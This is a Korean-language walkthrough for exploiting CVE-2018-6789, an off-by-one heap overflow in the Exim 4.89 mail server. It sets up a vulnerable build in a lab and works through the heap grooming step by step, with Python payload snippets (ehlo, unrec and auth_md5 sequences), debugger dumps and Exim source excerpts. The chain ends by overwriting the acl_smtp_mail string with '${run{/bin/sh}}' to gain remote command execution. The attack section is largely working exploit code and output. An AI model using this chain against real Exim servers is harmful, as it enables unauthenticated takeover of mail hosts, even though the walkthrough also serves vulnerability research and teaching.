
CVE-2018-6789(Exim의 off-by-one 힙 오버플로)에 대한 단계별 익스플로잇 개발 워크스루로, 상세한 힙 레이아웃 분석과 전체 Python 익스플로잇 코드를 포함합니다.
의존성 설치
apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev
이전 버전의 exim 다운로드
wget ftp://mirror.easyname.at/exim-ftp/exim/exim4/old/exim-4.89.tar.gz
tar -xvzf ./exim-4.89.tar.gz
cd ./exim-4.89
cp src/EDITME Local/Makefile
cp exim_monitor/EDITME Local/eximon.conf
그런 다음 Local/Makefile 수정 편의상 각 폴더는 현재 디렉토리를 가리키도록 함
BIN_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/bin
CONFIGURE_FILE=/home/zzx/EVA/cve-2018-6789/exim-4.89/configure
SPOOL_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/exim
EXIM_USER=zzx
AUTH_PLAINTEXT=yes
AUTH_CRAM_MD5=yes
AUTH_TLS=yes
이렇게 하면 디버깅이 편리함 그런 다음 컴파일 및 설치
make install
./configure 수정, 아래 내용으로 덮어쓰기
acl_smtp_mail=acl_check_mail
acl_smtp_data=acl_check_data
begin acl
acl_check_mail:
.ifdef CHECK_MAIL_HELO_ISSUED
deny
message = no HELO given before MAIL command
condition = ${if def:sender_helo_name {no}{yes}}
.endif
accept
acl_check_data:
accept
begin authenticators
fixed_cram:
driver = cram_md5
public_name = CRAM-MD5
server_secret = ${if eq{$auth1}{ph10}{secret}fail}
server_set_id = $auth1
./bin/exim -bd -d-receive
먼저 base64.c에 있는 패치를 분석
여기서 result는 base64 디코딩 결과가 저장되는 버퍼로, store_get 함수로 획득함
패치 이전의 size 계산에 문제가 있음을 확인할 수 있음. size가 4n ~ 4n+3 범위에 있을 때 계산된 size의 길이는 동일하지만, b64decode는 4의 배수가 아닌 인자를 디코딩할 때 한두 바이트를 더 디코딩함
예를 들어 직접 전송
auth_md5('Hf'*42)
size=0x40
결과 메모리 분포:
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 00 │....│....│....│....│
+0040 0x711da0 20 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
다시 시도
auth_md5('Hf'*42+'HfH')
size=0x40
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0040 0x711da0 f1 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
두 바이트 오버플로우 발생
Exim은 성능 향상을 위해 기존 힙 관리 메커니즘 위에 자체 메모리 관리 메커니즘을 구현함. 이는 코드와 glibc 사이의 중간 버퍼 역할을 하며, malloc과 free의 횟수를 줄이는 것이 목적
Exim에서 개별 힙 블록을 storeblock이라고 함. 사용 시 그 안에서 적절한 크기의 버퍼를 분할하여 사용하며, storeblock이 모두 사용되면 새로운 storeblock을 malloc함.
각 storeblock의 구조는 단순한 단일 연결 리스트임:
/* Structure describing the beginning of each big block. */
typedef struct storeblock {
struct storeblock *next;
size_t length;
} storeblock;
프로그램이 힙을 사용할 때 주로 사용하는 API는 store.c에 있음:
store_get
store_release
store_extend
store_reset
store_get은 버퍼를 획득하는 데 사용되며, 핵심 코드는 다음과 같음:
128 void *
129 store_get_3(int size, const char *filename, int linenumber)
....
145 int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
...
161 /* If there was no free block, get a new one */
162
163 if (!newblock)
164 {
165 pool_malloc += mlength; /* Used in pools */
166 nonpool_malloc -= mlength; /* Exclude from overall total */
167 newblock = store_malloc(mlength);
...
보이는 바와 같이 매번 요청되는 store_block의 최소 길이는 STORE_BLOCK_SIZE, 즉 8192
따라서 8192 크기의 store_block은 구조체 헤더와 힙 블록 헤더를 포함하여 총 크기가 0x2020이 됨

Exim이 클라이언트가 보낸 명령어를 실행할 때마다 명령어 실행이 성공하면 store_reset을 호출하여 불필요한 캐시나 남은 store_block을 해제함 여기서 말하는 실행 성공은 명령어 형식이 올바르고, 이메일에 불법 문자 등이 포함되지 않은 경우를 의미하며, 그렇지 않으면 store_reset이 호출되지 않음
이 취약점은 고전적인 off-by-one(사실 두 바이트 오버플로우도 가능)이나, 오버플로우되는 바이트 수가 적어 힙 블록의 민감한 구조를 직접 덮어쓸 수 없음. 따라서 ptmalloc의 특성을 이용하여 이 취약점의 영향을 확대하고 더 넓은 범위의 overflow, 또는 overlap으로 전환해야 함. off-by-one 취약점의 고전적인 공격 방법은 chunk enlarge -> chunk overlap임. 힙 블록의 크기를 크게 변경한 후 가짜 힙 헤더를 만들어 glibc의 정합성 검사를 우회하여 힙 블록의 중첩을 유발하고 더 넓은 범위의 덮어쓰기를 실현.
여기서 주요 과정은 chunk enlarge -> chunk overlap -> storeblock의 next 포인터 손상 후 store_reset을 트리거하여 임의의 힙 블록을 free시키고, 이 블록을 다시 할당받아 해당 내용을 수정(type confusion)하는 것. meh는 ACL 문자열이 있는 힙 블록을 수정할 것을 권장하는데, ACL 문자열 처리에는 명령 실행 기능이 있기 때문. ACL 문자열은 매우 많지만 대부분 NULL(아마도 설정 파일 때문). 여기서는 acl_smtp_mail 문자열을 선택했으며, 명령 실행 구문은 다음과 같음:
${run{command}}
대략적인 힙 레이아웃은 다음과 같음

첫 번째 힙 블록은 base64 디코딩으로 얻은 블록으로, off-by-one을 위해 사용되므로 storeblock의 끝에 위치해야 함. 편의상 0x2020보다 큰 블록을 직접 할당하여 base64 디코딩 결과를 저장함. 두 번째 힙 블록은 sender_helo_name으로, 다음 힙 블록을 덮어쓰는 데 사용됨. sender_helo_name은 storeblock에 저장되지 않고 직접 malloc됨:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
...
1884 if (yield) sender_helo_name = string_copy_malloc(start);
그러므로 크기는 자유롭게 설정 가능. 세 번째 힙 블록은 base64 디코딩으로 얻은 블록으로, 주로 헤더를 위조하고 덮어쓰여지므로 storeblock의 시작 부분에 위치해야 함. 편의상 0x2020 크기로 직접 할당함.
나의 exp도 다른 사람들의 분석을 따라 단계별로 작성되었음. 큰 틀은 동일하지만 힙 레이아웃이 다소 달라 일부 작은 매개변수에 차이가 있음.
먼저 크기가 0x6060인 unsortedbin을 생성. 다음 명령어만으로 가능
ehlo('a'*0x1000)
exim이 "EHLO "+'a'*0x1000을 수신하면 match.c의 match_check_list 함수에서 다음 세 문자열이 생성됨
*name* in helo_lookup_domains? no (end of list)
sender_fullhost = (*name*) [127.0.0.1]
sender_rcvhost = [127.0.0.1] (helo=*name*)
여기서 *name*은 'a'*0x1000
name의 길이가 0x1000이므로 각 문자열은 각각 하나의 storeblock을 차지하고, 이 세 문자열은 연속된 세 개의 storeblock에 위치하게 됨. exim이 ehlo 명령을 성공적으로 완료하면 smtp_in.c의 smtp_setup_msg에서 앞의 세 문자열을 해제하여 0x6060 크기의 힙 블록을 생성함:
4369 cancel_cutthrough_connection(TRUE, US"sent EHLO response");
4370 smtp_reset(reset_point);
4371 toomany = FALSE;
4372 break; /* HELO/EHLO */
이 때 힙 레이아웃은 다음과 같음:

sender_helo_name을 힙 블록 중간에 위치시키기 위해 원래 sender_helo_name을 해제하고 상단의 힙 블록을 점유한 후, 두 번째 sender_helo_name이 자리를 잡으면 상단 힙 블록을 다시 해제함. 여기서는 unrecognize command를 사용하여 점유함. unrecognize command를 수신하면 명령 실행이 실패한 것으로 간주되고, 다음 명령이 성공적으로 실행될 때 자동으로 해제됨. 주의할 점: unrecognize command로 점유하는 원리는 command를 exim에 보내면 exim이 synprot_error를 호출하여 오류를 기록하는 것임. 예:
79099 LOG: smtp_syntax_error MAIN
SMTP syntax error in "yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
**** debug string too long - truncated ****
그러나 command가 모두 가시 문자이면 exim은 새로운 힙 블록을 malloc하지 않음:
290 const uschar *
291 string_printing2(const uschar *s, BOOL allow_tab)
292 {
293 int nonprintcount = 0;
294 int length = 0;
295 const uschar *t = s;
296 uschar *ss, *tt;
297
298 while (*t != 0)
299 {
300 int c = *t++;
301 if (!mac_isprint(c) || (!allow_tab && c == '\t')) nonprintcount++;
302 length++;
303 }
304
305 if (nonprintcount == 0) return s;
306
307 /* Get a new block of store guaranteed big enough to hold the
308 expanded string. */
309
310 ss = store_get(length + nonprintcount * 3 + 1);
...
command에 비가시 문자가 포함되면 exim은 새로운 버퍼를 할당하고, 비가시 문자를 8진수 문자열로 변환함. 예를 들어 '\xee'->"\356", 이것이 length + (nonprintcount * 3 + 1)의 유래.
따라서 먼저 sender_ehlo_name을 작은 힙 블록에 배치하고, 0x800개의 '\xee' 전송을 시도함. 이는 0x800 + 1 + 0x800 * 3 = 0x2001을 요청하게 되며, 현재 storeblock에 그렇게 큰 공간이 없으면 새로운 store_block이 할당됨.
ehlo('b'*0x20)
unrec('\xee'*0x800)

그런 다음 0x2010 크기의 sender_elho_name을 할당:
ehlo('x'*0x2020)
이렇게 하면 먼저 기존의 0x20 크기 sender_elho_name이 해제됨:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
1838
1839 /* Discard any previous helo name */
1840
1841 if (sender_helo_name != NULL)
1842 {
1843 store_free(sender_helo_name);
1844 sender_helo_name = NULL;
1845 }
...
그런 다음 새로운 sender_helo_name이 할당되고, 모든 작업이 완료되면 store_reset이 호출되어 불필요한 힙 블록을 정리함. 이때 0x2020 크기의 error message가 해제되고, 위에서 이미 해제된 sender_helo_name과 malloc_consolidate되어 0x2050 크기의 새로운 힙 블록이 형성됨:

이제 힙 레이아웃이 거의 완성되었고, 바로 점유 및 취약점 트리거를 수행함.
payload = "d"*(0x2020+0x30-0x18-1)
auth_md5(b64encode(payload)+"EfE")
상단 힙 블록을 점유하고, 한 바이트를 오버플로우하여 size 0x2021을 0x20f1로 변경. 그런 다음 아래쪽 힙 블록을 점유하여 가짜 0x1f61 크기를 만들어 다음 힙 블록을 가리키게 함.
payload2 = 'm'*0x38+p64(0x1f61)
auth_md5(b64encode(payload2))
여기서 힙 블록을 하나 더 할당하는 이유는, 그렇게 하지 않으면 덮어쓰여진 storeblock이 마지막 storeblock이 되어 next가 null이기 때문.
auth_md5(b64encode('a'*0x1000))
이제 sender_helo_name을 해제하여 chunk overlap을 일으킬 수 있음. 그러나 한 가지 주의할 점: 아래쪽 힙 블록이 next 포인터(우리가 덮어써서 임의 주소 free를 달성하는 데 사용)를 제공하기 때문에 이 블록이 해제되지 않도록 해야 함. 따라서 유효하지 않은 name을 구성하여 sender_helo_name만 해제하도록 할 수 있음:
2079 static int
2080 smtp_setup_batch_msg(void)
2081 {
2082 int done = 0;
2083 void *reset_point = store_get(0);
...
3998 HELO_EHLO: /* Common code for HELO and EHLO */
3999 cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE;
4000 cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE;
4001
4002 /* Reject the HELO if its argument was invalid or non-existent. A
4003 successful check causes the argument to be saved in malloc store. */
4004
4005 if (!check_helo(smtp_cmd_data))
4006 {
...
4022 break;
4023 }
check_helo가 통과하지 않으면 프로그램은 이 루프를 빠져나와 store_reset을 호출하지 않음. 이제 check_helo의 코드 로직을 살펴보자:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
...
1870 /* Non-literals must be alpha, dot, hyphen, plus any non-valid chars
1871 that have been configured (usually underscore - sigh). */
1872
1873 else if (*s)
1874 for (yield = TRUE; *s; s++)
1875 if (!isalnum(*s) && *s != '.' && *s != '-' &&
1876 Ustrchr(helo_allow_chars, *s) == NULL)
1877 {
1878 yield = FALSE;
1879 break;
1880 }
...
1885 return yield;
1886 }
보이는 바와 같이 check_helo는 전송된 문자에 대해 일부 검사를 수행함. 문자나 특정 구두점, 또는 helo_allow_chars여야 하지만, 일반적으로 helo_allow_chars는 비어 있으며 이는 설정 파일에서 설정해야 함. 따라서 공백이 포함된 sender_helo_name을 구성할 수 있음:
ehlo('pwn it!') #must include some invalide chars
이렇게 하면 힙 블록이 중첩됨. 그런 다음 이 블록을 점유하여 next 포인터를 ACL 문자열이 있는 힙 블록을 가리키도록 덮어씀. 여기서 문제가 하나 있음. 다른 exp들은 부분 덮어쓰기를 통해 ASLR을 우회했지만, 내 환경에서는 작동하지 않음. ACL 힙 블록과 next가 가리키는 힙 블록 사이의 거리가 너무 멀기 때문.
pwndbg> tel 0x7214c0+0x2030
00:0000│ 0x7234f0 ◂— 0x0
01:0008│ 0x7234f8 ◂— 0x2021 /* '! ' */
02:0010│ 0x723500 —▸ 0x728510 <== next
03:0018│ 0x723508 ◂— 0x2000
pwndbg> tel 0x6f7990 <== acl chunk
00:0000│ 0x6f7990 ◂— 0x30 /* '0' */
01:0008│ 0x6f7998 ◂— 0x2021 /* '! ' */
02:0010│ 0x6f79a0 —▸ 0x7264f0 —▸ 0x72e5f0 —▸ 0x730640 —▸ 0x732660 ◂— ...
03:0018│ 0x6f79a8 ◂— 0x2000
04:0020│ 0x6f79b0 ◂— 0x7a7a2f656d6f682f ('/home/zz')
05:0028│ 0x6f79b8 ◂— 0x76632f4156452f78 ('x/EVA/cv')
06:0030│ 0x6f79c0 ◂— 0x362d383130322d65 ('e-2018-6')
07:0038│ 0x6f79c8 ◂— 0x6d6978652f393837 ('789/exim')
그래서 내 exp는 절대 주소를 사용함.
payload3 = 'y'*0x2010 + p64(0) + p64(0x2021) + p64(acl_string_block+0x10) +p64(0x2008)
auth_md5(b64encode(payload3))
이렇게 하면 ACL 문자열이 있는 힙 블록이 이 store_block의 체인에 추가됨. sender_helo_name을 변경하면 store_reset에서 이 모든 힙 블록이 해제됨. 따라서 이번에는 유효한 이름을 보내야 함:
ehlo('I'*16)
이제 힙 블록을 할당하면 ACL 문자열이 있는 힙 블록을 할당받을 수 있음:
payload4='J'*0x60+'${run{/bin/sh}}\x00'
payload4+=((0x500-len(payload4))*'J')
auth_md5(b64encode(payload4))
여기서 덮어쓰는 대상은 acl_smtp_mail이 가리키는 주소. 기본적으로 모든 ACL 문자열은 이 힙 블록 안에 있음. 이 문자열들은 configure에서 읽어와 store_get으로 얻은 버퍼에 차례로 저장되므로, 이 storeblock 내에 연속적으로 위치함. 마지막으로 ACL 관련 API 호출:
r.sendline('MAIL FROM: <[email protected]>')
그런 다음 smtp_setup_msg->acl_check->acl_check_internal->expand_string->expand_cstring->expand_string_internal->child_open->child_open_uid에서 execve를 호출하여 run 내의 명령을 실행함. 아래 서버 측 디버깅 정보에서 명령이 실제로 실행되었음을 확인할 수 있음.

https://medium.com/@straightblast426/my-poc-walk-through-for-cve-2018-6789-2e402e4ff588 https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789